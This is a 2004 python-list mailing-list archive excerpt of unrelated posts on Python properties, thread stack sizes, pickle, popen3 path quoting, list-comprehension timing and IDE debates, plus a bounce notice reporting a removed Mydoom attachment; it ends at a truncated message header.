> I want to create a property that can use parameter(s).
> In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> 
> Canvas.GetPixel(self,X,Y):integer; Canvas.SetPixel(self,X,Y,Color::integer);
> 
> class A(object):
>       def __init__(self):
>           self.__Tags={}
>       def GetTag(self,tname):
>           return self.__Tags.get(tname,None)
>       def SetTag(self,tname,value):
>           self.__Tags[tname]=Value
>       Tag=property(GetTag,SetTag)
> 
> a=A()
> print a.Tag('A')
> print a.Tag['A']
> 
> But it is seems to be not possible in this way.

Have your get method return an instance of an auxiliary class which
implements __getitem__ and __setitem__ (if you want to use square
brackets; if you want to use round parentheses, then __call__, but
beware -- you can't have a bare call on the left of an assignment!!!).

For example, a small refactoring of your attempt might be:

class A(object):

      def __init__(self):
          self.__Tags={}
          self.__TagsAccessor = None

      def getTagsAccessor(self):
          if not self.__tagsAccessor:
              def getter(__, tname):
                  return self.__Tags.get(tname, None)
              def setter(__, tname, value):
                  self.__Tags[tname] = value
              class TagAccessor: pass
              TagAccessor.__getitem__ = getter
              TagAccessor.__setitem__ = setter
              self.__TagsAccessor = TagAccessor()
          return self.__TagsAccessor
      Tag = property(getTagsAccessor)

Now, you can use such code as:

a = A()
print a.Tag['foo']
a.Tag['foo'] = 'barbaz'
print a.Tag['foo']

Note that we define no setter at all for Tag.  This means that, e.g.:

a.Tag = 23

will raise "AttributeError: can't set attribute".  The way we coded,
a.Tag MUST be indexed when used on the left of an = sign in an
assignment.  If that's not what you want -- if you do want to allow
assigning to bare a.Tag without an index -- then, and only then, write 
a setTagsAccessor and give it whatever semantics you wish, and pass it
as the second argument in the call to property.

Of course, you can refactor this basic idea in many different ways.  I
have used closures for getter and setter so as to finesse any trouble
with your use of leading double underscore, though that means that the
first argument of getter and setter CAN'T be named self (I used __ to
indicate I mean to ignore that argument...), but there are many other
possibilities, such as a more general TagAccessor class which takes
self.__Tags in its __init__, etc, etc.  You could even choose to use a
custom descriptor class instead of the built-in property, but I don't
think that's warranted if all you need is what you have expressed.


Alex


From eduardxapelli at retemail.es  Wed Sep 29 10:19:02 2004
From: eduardxapelli at retemail.es (eduardxapelli at retemail.es)
Date: Wed, 29 Sep 2004 16:19:02 +0200
Subject: xsvfbfuykz
Message-ID: <20040929142154.90B021E4002@bag.python.org>


******************************* WARNING ******************************
Este mensaje ha sido analizado por MDaemon AntiVirus y ha encontrado 
un fichero anexo(s) infectado(s).  Por favor revise el reporte de abajo.

Attachment                    Virus name               Action taken
----------------------------------------------------------------------
DOCUMENT.COM                  I-Worm.Mydoom.m          Removed


**********************************************************************


The original message was received at Wed, 29 Sep 2004 16:19:02 +0200
from retemail.es [64.134.58.182]

----- The following addresses had permanent fatal errors -----
python-list at python.org




From andymac at bullseye.apana.org.au  Wed Sep 29 19:17:26 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Thu, 30 Sep 2004 09:17:26 +1000 (EST)
Subject: Maximum number of threads
In-Reply-To: <WcC6d.2838$gm.453@okepread07>
References: <xbt6d.2829$gm.1283@okepread07>
	<415abdaa$1_1@omega.dimensional.com>
	<FuA6d.2832$gm.1483@okepread07>
	<mailman.4084.1096472866.5135.python-list@python.org>
	<WcC6d.2838$gm.453@okepread07>
Message-ID: <20040930091210.K75192@bullseye.apana.org.au>

On Wed, 29 Sep 2004, Kirby Angell wrote:

> No, your babbling has gotten me much closer.  I'm not sure what changed
> between Python 2.2 and Python 2.3, but the problem is the stack size
> allocated to each thread.  Apparently with glibc on RH9 something along
> the order of 8 MB of virtual memory is allocated for the stack of each
> thread.  256 threads takes us to the virtual memory limit of the process
> itself. Glibc on FC2 must be using a different default stack size, or
> the virtual memory limit is higher; I've only recently started running
> FC2 on our test servers so I'm not sure which it is.
>
> The only way to change the stack size is to define THREAD_STACK_SIZE in
> the thread_pthread.h header.  There is an ifdef for the Mac that sets
> this to 64k.  Just as a test I forced THREAD_STACK_SIZE to that value
> and recompiled Python.  I can now create 16k threads although I'm not
> sure yet whether our application will run; some tuning is probably in
> order.  I'm going to get the 2.2 source code and see what is different
> between the two and maybe get an idea of what a reasonable stack size is.

ISTR that the default stacksize for the LinuxThreads threading
implementation (prior to NPTL) was 1MB.

It is also worth noting that more recent versions of gcc (3.x) are
generating larger stack frames than older versions; something that has
affected building the SRE module until it was made non-recursive for
Python 2.4.  This has probably encouraged the bump in the default stack
size.

-------------------------------------------------------------------------
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen ACT 2616
Web:    http://www.andymac.org/               |        Australia


From matt.gerrans at hp.com  Tue Sep 21 14:58:40 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Tue, 21 Sep 2004 18:58:40 GMT
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
Message-ID: <AR_3d.11341$a35.9964@news.cpqcorp.net>

I skimmed a little part of this thread earlier and now it is all gone from 
my news reader (thankfully!), so forgive me if this comment was already made 
by someone else:

The idea that Python and C# are mutually exclusive is inane.

In fact, the idea that Python and Ruby, or Perl or any other language are 
mutually exclusive is inane.    The more tools you have at your disposal, 
the better off you are.

I've been developing in extensively C# for about a year and a half  now and 
started using Python about twice as long ago or so.    I still use Python 
extensively and find that it complements my work in other languages, 
including C#.    I find that it is often useful to imagine how I would 
approach a problem in Python, before implementing it in C#, for example. 
I find it easier to "think in Python" and find that it helps me create 
better solutions in C, C++, C#, and Java.

All these language x vs. language y arguments are silly.    I'm more 
interested in using Python *with* other languages. 




From kepes.krisztian at peto.hu  Mon Sep 13 03:59:43 2004
From: kepes.krisztian at peto.hu (kepes.krisztian)
Date: Mon, 13 Sep 2004 09:59:43 +0200
Subject: Property with parameter...
Message-ID: <4145536F.7070904@peto.hu>

Hi !

I want to create a property that can use parameter(s).
In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> 
Canvas.GetPixel(self,X,Y):integer; Canvas.SetPixel(self,X,Y,Color::integer);

class A(object):
      def __init__(self):
          self.__Tags={}
      def GetTag(self,tname):
          return self.__Tags.get(tname,None)
      def SetTag(self,tname,value):
          self.__Tags[tname]=Value
      Tag=property(GetTag,SetTag)

a=A()
print a.Tag('A')
print a.Tag['A']

But it is seems to be not possible in this way.

How to be can ?

Thanx for help !
 KK




From http  Wed Sep 22 17:07:17 2004
From: http (Paul Rubin)
Date: 22 Sep 2004 14:07:17 -0700
Subject: Floating-point glitches with the math module. Bug? Or am I
	missing something?
References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net>
	<cirqqq$1ngs$1@biggoron.nerim.net>
Message-ID: <7xzn3ij9mi.fsf@ruckus.brouhaha.com>

Alexandre Fayolle <alf at merlin.fayauffre.org> writes:
> Firstly, I use the fact that scipy provides a cosm1 function which 
> returns cos(x)-1, and which is more precise that for small values of x. 

The simple approximation is cos(x)-1 = -x**2/2.  Fancier approximation
is cos(x)-1 = -x**2/2 + x**4/24, which should exceed machine precision
for x < 2**-12 or so.

> Then I'd like to use an acosm1 function in order to keep the precision.
> Since there is no such function available, I'll just solve
> cosm1(x)-cos_gamma_minus_1=0 for which I know there is a solution

acosm1(x) = sqrt(-2*x) for the simple approximation.  Use quadratic
formula to solve the fancier one.


From narshe at gmail.com  Fri Sep  3 10:35:15 2004
From: narshe at gmail.com (Josh Close)
Date: Fri, 3 Sep 2004 09:35:15 -0500
Subject: adns-python return codes
Message-ID: <4a0cafe204090307351f57b71d@mail.gmail.com>

Does anyone know what the return codes for an mx adns python lookup
are? I know 0 means a valid domain, and anything else isn't, but there
are "no nameservers found" and "timeout" and other things that would
have to be retried again.

I looked through the source and didn't find anything, and looked
through the gnu adns C source and didn't find anything, but I really
don't know C at all, so I could have missed something.

Thanks.

-Josh


From rpm1deleteme at direcway.com  Tue Sep 21 07:01:00 2004
From: rpm1deleteme at direcway.com (RPM1)
Date: Tue, 21 Sep 2004 07:01:00 -0400
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com>
Message-ID: <2rafspF17n18jU1@uni-berlin.de>


"Tom Cocagne" <rakis at gmpexpress.net> ...

> There ARE sound IDEs
> available for Python. Perhaps you should be asking why they aren't that
> popular. Three possibilities come to mind 1) Python developers are just
> plain stupid. Even though they know that quality IDEs exist and would
> increase their produtivity, there just too dumb to use them. 2) Quality
> IDEs exist and Python developers don't know about it. And 3) Python
> developers are aware of the existence and capabilities of these IDEs and
> just don't feel the need for them.
>

I've been tinkering  with Python for a long time now, (~8 years),  and the
lack of a standard GUI designer is annoying, (albeit a minor annoyance).  I
myself don't care for any of the existing GUI designer packages, so I just
code my GUI's without one.

I do notice though that when I try to convince a co-worker to try Python,
the thing that seems to be the biggest turn off is the lack of an IDE with a
GUI designer included standard.  I guess my point is that the lack of a
standard GUI designer is not going to bother people who know Python, but it
will prevent some, (perhaps many), outsiders from ever knowing Python
because they can't imagine programming without the IDE/GUI designer.  I know
there are GUI designers available, but by the time you begin to tell
somebody that, they're already shaking their head and walking away.

Just my $0.02,
Patrick






From carribeiro at gmail.com  Tue Sep 14 17:16:50 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 18:16:50 -0300
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <qOGdnf9RP5WexdrcRVn-oA@powergate.ca>
References: <mailman.3327.1095192228.5135.python-list@python.org>
	<ci7kou$eqj$00$1@news.t-online.com>
	<qOGdnf9RP5WexdrcRVn-oA@powergate.ca>
Message-ID: <864d370904091414163a12850e@mail.gmail.com>

On Tue, 14 Sep 2004 16:43:46 -0400, Peter Hansen <peter at engcorp.com> wrote:
> Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on
> win32
> (...)
>  >>> os.path.abspath('c://somepath')
> 'c:\\somepath'

Strange. I've tried it here with different results.

ActivePython 2.3.2 Build 232 (ActiveState Corp.) based on
Python 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit (Intel)] on win32
>>> import os.path
>>> os.path.abspath('c://work')
'c:\\\\work'

Of course, I'm not using the same build as you. Either there was some
bugfix inbetween 2.3.2 and 2.3.4, or the underlying libraries used by
ActivePython and standard Python differ in this regard (not highly
probable, anyway). I'm not sure.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From daniel at syrinx.net  Wed Sep 22 07:26:37 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Wed, 22 Sep 2004 07:26:37 -0400
Subject: python ides
In-Reply-To: <mailman.3706.1095850770.5135.python-list@python.org>
References: <cip735$e01$1@sea.gmane.org>	<mailman.3662.1095789622.5135.python-list@python.org>	<41507c8f$0$25693$636a15ce@news.free.fr>	<mailman.3678.1095794573.5135.python-list@python.org>	<xr6dnS_HwKRaF83cRVn-hw@powergate.ca>	<2rbgq9F16q2g8U2@uni-berlin.de>	<XMqdnXghW6n9Es3cRVn-qQ@powergate.ca>	<2rbqaoF185cfiU3@uni-berlin.de>
	<mailman.3706.1095850770.5135.python-list@python.org>
Message-ID: <2rd5m9F17p21rU1@uni-berlin.de>

Ajay wrote:
> and i find SciTE and SciTE|Flash very good
> 

I agree, they are very good text editors. I still use Vim. In fact, I 
write all my Flash ActionScript in Vim as well. Why wouldn't I? It does 
  the job *I* want it to do.

Hey, this is a lot like a religious discussion! :) I was even about to 
say that you can use any IDE you like, as long as you don't try to force 
it down my throat.

"You" being the collective "you", not you in particular, Ajay

Dan


From renebode at zonnet.nl  Tue Sep  7 16:35:28 2004
From: renebode at zonnet.nl (renebode at zonnet.nl)
Date: Tue,  7 Sep 2004 22:35:28 +0200
Subject: (no subject)
Message-ID: <1094589328.413e1b90b0bf1@webmail.zonnet.nl>

Dear Erich,

We've been using your xlsp.py (version 0.8) to extract data from Excel 
spreadsheets.

Just recently, we've started to get messages like these on several files:

No CONTINUE record found!

Do you know what could cause this and how we could fix it?

I've CC'ed in the python list in case anyone there can help...

cheers,

Rene


From jerf at jerf.org  Tue Sep 21 12:07:52 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 21 Sep 2004 16:07:52 GMT
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
	<414fa1ec$0$63273$a1866201@newsreader.visi.com>
	<mailman.3620.1095739940.5135.python-list@python.org>
	<rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net>
	<mailman.3623.1095750787.5135.python-list@python.org>
Message-ID: <pan.2004.09.22.15.19.32.332288@jerf.org>

On Tue, 21 Sep 2004 17:13:01 +1000, Ajay wrote:
> since its not a commercial application - merely a research project, no, i
> haven't done a threat analysis w.r.t to the type of information exchanged.
> i have however looked at all security threats in such a system and will be
> applying mechanisms for authentication, confidentiality, integrity etc.

Ah. Thank you, that it was interesting.

The last thing I would point out is that changing *somebody else's* MAC
address is something of a hostile act, and it is sufficiently geeky that
nobody can really give informed consent except people who really
understand ethernet. Your program may work on your network, but may cause
wierd and random seeming interactions with other networks when those
devices are used elsewhere, since things like "MAC address locking" are
sometimes used as a stopgap solution to wireless security while we wait
for the real thing. (Hopefully WPA will qualify, but it still must be
widely deployed and prove itself.)

As a research project, great. But I would not care to incur the potential
liabilities involved in releasing this to the general public. (I mean a
general "liability" here, not just legal but also support for the
inevitable "now my device won't connect to my work network, what did you
do to it?) 

You can theoretically try to change the MAC back, but you'll find getting
all the details for that right to be a challenge, and depending on the
device, borderline impossible.

Good luck and have fun; I'm not trying to inhibit you, just make sure you
are aware that you are in Deep Hack Zone and need to be careful,
especially as some people may just use the bad definition of "hacker" here...


From ialbert at mailblocks.com  Sun Sep 19 19:51:47 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Sun, 19 Sep 2004 19:51:47 -0400
Subject: python is going to die! =(
In-Reply-To: <mailman.3520.1095631846.5135.python-list@python.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <EPmdnagKPrUPhtPcRVn-iQ@giganews.com>

go away, troll


From remy.blank_asps at pobox.com  Thu Sep 23 11:13:57 2004
From: remy.blank_asps at pobox.com (Remy Blank)
Date: Thu, 23 Sep 2004 17:13:57 +0200
Subject: unittest: new reporting category "skipped"
In-Reply-To: <ciulfp$1kp9$1@dojima-n0.hi-ho.ne.jp>
References: <mailman.3772.1095935910.5135.python-list@python.org>
	<ciulfp$1kp9$1@dojima-n0.hi-ho.ne.jp>
Message-ID: <ciup7m$2r9$2@sea.gmane.org>

George Yoshida wrote:
> Check out TestSkipped.
> It's already implemented as a part of utility functions for 
> unittest module and heavily used in Lib/test directory.

That is interesting. From a first look, however, it seems that the
tests don't use the unittest framework, right? I'll study them
anyway, good ideas are always good to have.

Thanks for the pointer.
-- Remy


Remove underscore and suffix in reply address for a timely response.



From M.Waack at gmx.de  Sat Sep 18 12:09:45 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Sat, 18 Sep 2004 18:09:45 +0200
Subject: Python binaries for Solaris, HP-UX
References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de>
	<uisab1stx.fsf@yahoo.co.uk>
Message-ID: <973u12-rta.ln1@valpo.de>

Paul Moore wrote:

>> HP offers precompiled packages of free software at the DSPP pages:
>>
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html
> 
> That installs to /usr/local, unfortunately. As I said, I need
> something that will install as an unprivileged user 

If you take a closer look you will see, that the HP packages can be
unpacked anywhere. Its just a little more work then using the
installer. 

BTW I'm working for company which solved this problem by allowing
everybody to write to /usr/local. 

BTW2 I do not working as a system administrator for this company;)

Mathias


From lbates at swamisoft.com  Fri Sep 10 09:31:58 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 10 Sep 2004 08:31:58 -0500
Subject: Build a project from the script using popen3
References: <82880e86.0409091527.342d9754@posting.google.com>
Message-ID: <GYSdnSTaLrtXMdzcRVn-hg@comcast.com>

You may have more success using the mangled (8.3)
directory names in your pathnames.  The ones with
spaces in them (e.g. Program Files) is the problem.
On my machine the mangled name for Program Files is
Progra~1 (they can be seen with dir /x command at
command prompt).  There may be another way to use
the long filenames, but I'll bet this will be the
easiest.

Larry Bates
Syscon, Inc.

"Ruchika" <ruchika_khera at hotmail.com> wrote in message
news:82880e86.0409091527.342d9754 at posting.google.com...
> Hi,
>
> I want to build an embedded Visual C++ project from the python script.
> This is what I do -
>
> evc = r'"C:\Program Files\Microsoft eMbedded C++
> 4.0\Common\EVC\Bin\EVC.EXE"'
> proj = r'"C:\Handheld\SC10\GFSDK\dev\Drivers\CE.EVC4\GFHAL\GFHAL.Vcp"'
> config = "GFHAL - Win32 (WCE ARMV4) Release"
>
> print '%s %s /MAKE %s /REBUILD' % (evc, proj, config)
> inf, out, err = os.popen3( '%s %s /MAKE %s /REBUILD' % (evc, proj,
> config))
> print err.readlines()
>
> I get the following error message - "["'C:\\Program' is not recognized
> as an internal or external command,\n", 'operable program or batch
> file.\n']".
>
> I wanted to make sure the path is right. So I tried to open the
> project workspace using popen3 and succeeded -
> inf, out, err = os.popen3( '%s' % (proj))
>
> Is something wrong with the way i am using the build command in the
> script? I am sure the build command is fine because I ran it on the
> command line before trying it in the script. Can we not run the build
> command from inside the script?
>
> Am I using "/" in /MAKE and /REBUILD correctly in the script?
>
> Thanks,
> Ruchika




From lbates at swamisoft.com  Tue Sep 21 15:08:10 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 21 Sep 2004 14:08:10 -0500
Subject: list.pop and print doing funny things
References: <mailman.3669.1095791640.5135.python-list@python.org>
Message-ID: <ybednYBdUs-K4c3cRVn-uA@comcast.com>

Whenever you pop from the list it is destructive
and the result is returned, which means it will
be echoed in the interpreter.

I think what you meant was:

for x in range(len(l)):
    value=l.pop(0) # From beginning
    print value
    print l

    # or

    value=l.pop()  # From end
    print value     print l

or

while l:
    print l.pop(0) # From beginning
    print l

    # or

    print l.pop() # From end
    print l


The indexing, etc. wasn't required.

Larry Bates


"Gordon Williams" <g_will at cyberus.ca> wrote in message 
news:mailman.3669.1095791640.5135.python-list at python.org...
> An easy question....
>
> Why do I get the x printed twice in the sample below? It is like print x 
> is
> being executed twice in each loop.
>
>
>>>> l = [1,2,3,4]
>>>> for x in l[:]:
> ...  print x
> ...  l.pop(l.index(x))
> ...  print l
> ...
> 1
> 1
> [2, 3, 4]
> 2
> 2
> [3, 4]
> 3
> 3
> [4]
> 4
> 4
> []
>>>>
>
> Regards,
>
> Gordon Williams
> 




From aleaxit at yahoo.com  Thu Sep 30 14:13:04 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 30 Sep 2004 20:13:04 +0200
Subject: List comprehensions performance
References: <278de0e.0409291441.4ef0a859@posting.google.com>
	<IuP6d.4170$6f.1874@trndny02>
	<1gkxa0o.1l5eyr0128x6mbN%aleaxit@yahoo.com>
	<cjhgo2$8o4$0$216.39.172.122@theriver.com>
Message-ID: <1gkxzys.16do9ui1xakcfbN%aleaxit@yahoo.com>

Bengt Richter <bokr at oz.net> wrote:
   ...
> >...but if the for loop is NOT equivalent (it doesn't accumulate results
> >into a resulting list), it's still faster.  As I posted:
> >
> >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in
> >xrange(999): f()'
> >1000 loops, best of 3: 1.29e+03 usec per loop
> >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in
> >xrange(999)]'
> >1000 loops, best of 3: 1.45e+03 usec per loop
> >
> >the LC is paying for the building of a list of 999 references to None,
> >which the for loop easily avoids, so the for loop is much faster here.
> 
> What if you abuse the LC so it makes an empty list? E.g.,
>     [None for x in xrange(999) if f() and False]

Now tell me, is timing so HARD...?!  This obfuscation times (on 2.4 and
the same old iBook as above) to 1.38e+03 usec per loop, still slower
than the plain old loop -- the if/and rigmarole costs...


Alex


From aleaxit at yahoo.com  Thu Sep  9 06:37:01 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 12:37:01 +0200
Subject: Set and {} comparison confusion
References: <mailman.3077.1094712931.5135.python-list@python.org>
	<1gju9e7.3exo4xy4ku00N%aleaxit@yahoo.com>
	<mailman.3079.1094716024.5135.python-list@python.org>
	<1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com>
	<mailman.3084.1094725372.5135.python-list@python.org>
Message-ID: <1gjuizw.1001chq1dafmd9N%aleaxit@yahoo.com>

Heiko Wundram <heikowu at ceosg.de> wrote:

> Am Donnerstag, 9. September 2004 10:18 schrieb Alex Martelli:
> > def same_as_sets(onelist, another):
> >     for item in onelist:
> >         if item in another: return False
> >     for item in another:
> >         if item in onelist: return False
> >     return True
> 
> Minor correction, shouldn't this be:
> 
> for item in onelist:
>   if item not in another: return False
> ...
> 
> Notice the nice little word not, which makes all the difference... ;)

Heh, yes, of course -- we're checking set equality, not complete
disjunction (which would only need half the amount of work!-)


Alex


From richardshea at fastmail.fm  Wed Sep  8 07:31:29 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 8 Sep 2004 04:31:29 -0700
Subject: Win32/Console - subclass using Python ?
References: <282f826a.0409061626.16567378@posting.google.com>
	<413d31e3$1_2@127.0.0.1>
Message-ID: <282f826a.0409080331.15a4fe00@posting.google.com>

"Roger Upole" <rupole at hotmail.com> wrote in message news:<413d31e3$1_2 at 127.0.0.1>...
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/console_functions.asp
> 
> There's a Console module for Windows at 
> http://www.effbot.org/zone/console-index.htm
> that might do what you need.

Thanks for that - I had looked for something like this but not found
it. It's not 100% what I was thinking of as I would (I believe) need
to run SQLPLUS 'behind' it. Never mind I appreciate it. Thanks also to
info I got via Email WRT to 'QUASI'
http://quasi-shell.sourceforge.net/ - that's a pretty amazing thing
which is worth checking out.

regards

richard.



> 
> "Richard Shea" <richardshea at fastmail.fm> wrote in message 
> news:282f826a.0409061626.16567378 at posting.google.com...
> > Hi - I wondered if anyone had done this before and could provide some
> > suggestions ? I'm interested in supplying extra functionality to a
> > Win32 Console (cmd.exe) - full description below for those interested.
> > I would do this using Python.
> >
> > I'm having difficulty finding anything about Console based programming
> > via MSDN - I just wondered if anyone had done anything like this or
> > alternatively knew where the part of the Win32 API which deals with
> > Console interaction is on MSDN ? I've found
> > http://support.microsoft.com/default.aspx?scid=kb;en-us;104094 but
> > that's about it so far.
> >
> > FULL DESCRIPTION
> > ================
> > I use the Oracle client SQLPLUS a lot via a Win 32 console. There are
> > some aspect s of this experience which would bear improvement.
> >
> > I'm interested in producing a 'super' cmd.exe which would 'help'
> > SQLPLUS do its thing. I'm thinking for instance of auto-completion of
> > table names, smart help etc. That's a big topic but just for starters
> > I would like to be able to create my own 'super cmd.exe'
> >
> > regards
> >
> > Richard Shea


From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Fri Sep 10 19:33:22 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Fri, 10 Sep 2004 23:33:22 -0000
Subject: Xah Lee's Unixism
References: <rKGdnc6ocfZ7nN_cRVn-ig@mpowercom.net>
Message-ID: <10k4ee2da90clfb@corp.supernews.com>

# Unless they were french speaking immigrants living in Quebec.  I believe the 
# law grants them a presumption of innocence *in spite of* evidence to the 
# contrary.

I hope you understand that when US takes over Canada, we are not accepting Quebec.
That province will be floated and barged out somewhere into the north Atlantic. I
can't imagine France wanting them back. Maybe leave them in the middle with a big
bulls eye for the next comet. Atlantis II.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
Death is the worry of the living. The dead, like myself,
only worry about decay and necrophiliacs.


From roo at try-removing-this.darkboong.demon.co.uk  Thu Sep  2 12:03:21 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Thu, 02 Sep 2004 17:03:21 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <opsdpdzglzpqzri1@mjolner.upc.no>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
Message-ID: <1094141001.125507@teapot.planet.gong>

John Thingstad wrote:
> On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis  
> <Brian.Inglis at SystematicSW.Invalid> wrote:
> 
>> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W.
>> Kennedy" <jwkenne at attglobal.net> wrote:
>>
>>> Andre Majorel wrote:
>>>
>>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
>>>>
>>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers,
>>>>> Andre Majorel <amajorel at teezer.fr> wrote:
>>>>>
>>>>>
>>>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote:
>>>>>
>>>>>
>>>>>>> Windows (MS) is not 'Unixism'?
>>>>>>
>>>>>>
>>>>>> If by unixism, you mean any operating system that has a
>>>>>> hierarchical filesystem and byte stream files, yes. But that
>>>>>> would include quite a few other non-Unix operating systems,
>>>>>> including Mac OS 9, Prologue and probably everything else this
>>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M).
>>>>>
>>>>>
>>>>> DOS 2.x+ shall be deemed to be CP/M+!
>>>>
>>>>
>>>>
>>>> Wasn't it in version 2 that they added directories and
>>>> Unix-style file handles ?
>>>
>>>
>>> Yes, and also a single-process pipe emulator.  Ever since 2.0, MS has
>>> been trying to turn MS-DOS (later, Windows) into a Unix clone.
>>
>>
>> MS has been borrowing code from Unix to create a real OS: TCP/IP;
>> NTFS<-ffs; memory mapped files<-mmap.
>> Shame they keep trying to add their own ideas in too: that must be
>> what causes the crashes!
>>
> 
> You seeem misinformed.
> Microsoft swallowed up a team from DEC.
> The were developing a operating system called PRISM.
> When the project was cancelled they quit DEC in protest.
> These peaple had more than a 100 years of experience in developing  
> muliuser /
> mutitasking operating systems between them. The fact that the NT kernel 
> is  not
> entirely stable yet really shouldn't supprise anyone. Afterall Unix has  
> messed with
> it's kernel for 30 years. But the modular arcitecture and the 
> microkernel  are new ideas in
> OS design and should in time lead to a more extensible OS than unix.

uKernels are *NOT* a new idea at all. They weren't a new idea when
NT was unleashed on the world. What people think of as "NT" is a big
pile of shite that obscures the uKernel. Since the graphics stuff
got put into ring 0 I think that you could legitimately claim that
BSD Unix is more of a micro kernel than NT. :)

> (Unix tradionally has a spagetti of intercalling function calls as a  
> kernel.)

Remember NeXTStep ?

> As for following standards thats just plain sense.
> Note the Mac OS 10 / Darwin uses a unix kernel because of all the 
> problems  with
> interoperabillity OS 9 had with talking to Windows and Unix boxes.

Which I believe is derived from a Mach uKernel... The "UNIX" bits
are the FreeBSD userland utilities that surround it.

Cheers,
Rupert



From DesertLinux at netscape.net  Wed Sep 15 19:55:39 2004
From: DesertLinux at netscape.net (Byron)
Date: Wed, 15 Sep 2004 23:55:39 GMT
Subject: Convert Dictionary to String, vice versa?
In-Reply-To: <1rllfb43gx.fsf@rovereto.ifi.uio.no>
References: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net>
	<1rllfb43gx.fsf@rovereto.ifi.uio.no>
Message-ID: <%D42d.1206$gG4.519@newsread1.news.pas.earthlink.net>

Hi Kjetil,

Thank you for telling me about pickle (along with the sample of code.) 
It works great...  Much appreciated!

Byron
---


Kjetil Torgrim Homme wrote:
> [Byron]:
> 
>>  I am a newbie and would like to know if it is possible to convert
>>  a string back to a dictionary?
>>  
>>  For example, I can convert a dictionary to a string by doing this:
>>  
>>  	>>> names = {"Candy" : 2.95, "Popcorn" : 4.95}
>>  	>>> strNames = str(names)
>>  	>>> print strNames
>>  	{'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002}
>>  
>>  However,  is there a way to convert a string back to a dictionary?
>>  
>>  Any help is very much appreciated!
> 
> 
> I'm surprised no one has mentioned pickle.
> 
> 
>>>>import pickle
>>>>names = {"Candy" : 2.95, "Popcorn" : 4.95}
>>>>pickle.dumps(names)
> 
> "(dp0\nS'Popcorn'\np1\nF4.9500000000000002\nsS'Candy'\np2\nF2.9500000000000002\ns."
> 
>>>>pickle.loads(pickle.dumps(names))
> 
> {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002}
> 
> 


From gaool at caramail.com  Thu Sep 16 02:53:43 2004
From: gaool at caramail.com (gaool)
Date: 15 Sep 2004 23:53:43 -0700
